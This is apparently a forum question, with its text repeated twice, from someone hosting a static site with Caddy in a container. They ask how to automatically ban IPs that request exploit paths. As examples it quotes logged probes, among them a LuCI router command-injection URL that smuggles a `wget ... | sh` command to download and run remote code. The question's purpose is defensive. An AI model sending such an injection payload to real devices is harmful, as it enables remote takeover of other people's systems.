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How to automatically block IPs that try exploit URLs?

I have a static website I serve with Caddy. The Caddy is inside a container.
I notice that occasionally I get malicious requests, looking at the paths requested. Some examples are:
* `/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget+http://[ some ip ]/t+-O-+|+sh`)`
* `/backup`
* `/wp-admin/css/about.php`
These are obviously hackers trying some common exploits to see if they'll get lucky and I want to block them automatically. For example, I could provide a list of string patterns and maybe any IP that requests a path that matches those will get an IP ban for a month.
I realize hackers can obtain fresh IPs in various ways. I still want to do the IP ban just to make their life harder.
How can I do this?

I have a static website I serve with Caddy. The Caddy is inside a container.
I notice that occasionally I get malicious requests, looking at the paths requested. Some examples are:
* ``/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget+http://[ some ip ]/t+-O-+|+sh`)``
* `/backup`
* `/wp-admin/css/about.php`
These are obviously hackers trying some common exploits to see if they'll get lucky and I want to block them automatically. For example, I could provide a list of string patterns and maybe any IP that requests a path that matches those will get an IP ban for a month.
I realize hackers can obtain fresh IPs in various ways. I still want to do the IP ban just to make their life harder.
How can I do this?

server security caddy